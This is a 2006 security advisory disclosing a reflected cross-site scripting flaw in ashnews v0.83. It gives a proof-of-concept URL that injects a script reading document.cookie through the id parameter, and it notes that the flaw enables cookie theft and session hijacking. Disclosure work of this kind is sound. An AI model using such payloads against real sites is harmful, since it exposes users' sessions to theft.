ashnewsXSS.txt

`###########################################################################  
# Advisory #5 Title: ashnews Cross-Site Scripting Vulnerability  
#  
#  
# Author: 0o_zeus_o0 and fraude  
# Contact: [email protected]  
# Website: Elitemexico.org  
# Date: 30/01/2006  
# Risk: High  
# Vendor Url: http://dev.ashwebstudio.com/  
# Affected Software: ashnews  
# Non Affected:  
#  
# We Are: olimpus klan team  
#  
#TECHNICAL INFO  
#================================================================  
#  
#vulnerability that allows to the robbery of cookie and kidnapping of user  
#  
#  
#Example:  
#  
#http://www.url.com/[path]/ashnews.php?page=showcomments&id=<script><script>alert(  
document.cookie)</script>  
#  
#http://www.url.com/[path]/ashnews.php?page=showcomments&id=[xss]  
#  
#  
#Solution:  
#  
#  
#  
#  
#VULNERABLE VERSIONS  
#================================================================  
#ashnews v0.83 Other versions may also be affected.  
#  
#  
#================================================================  
#Contact information  
#0o_zeus_o0  
#[email protected]  
#www.olimpusklan.org  
#================================================================  
#greetz: lady fire,Mi beba, fraude and security-mx  
##############################################################################  
`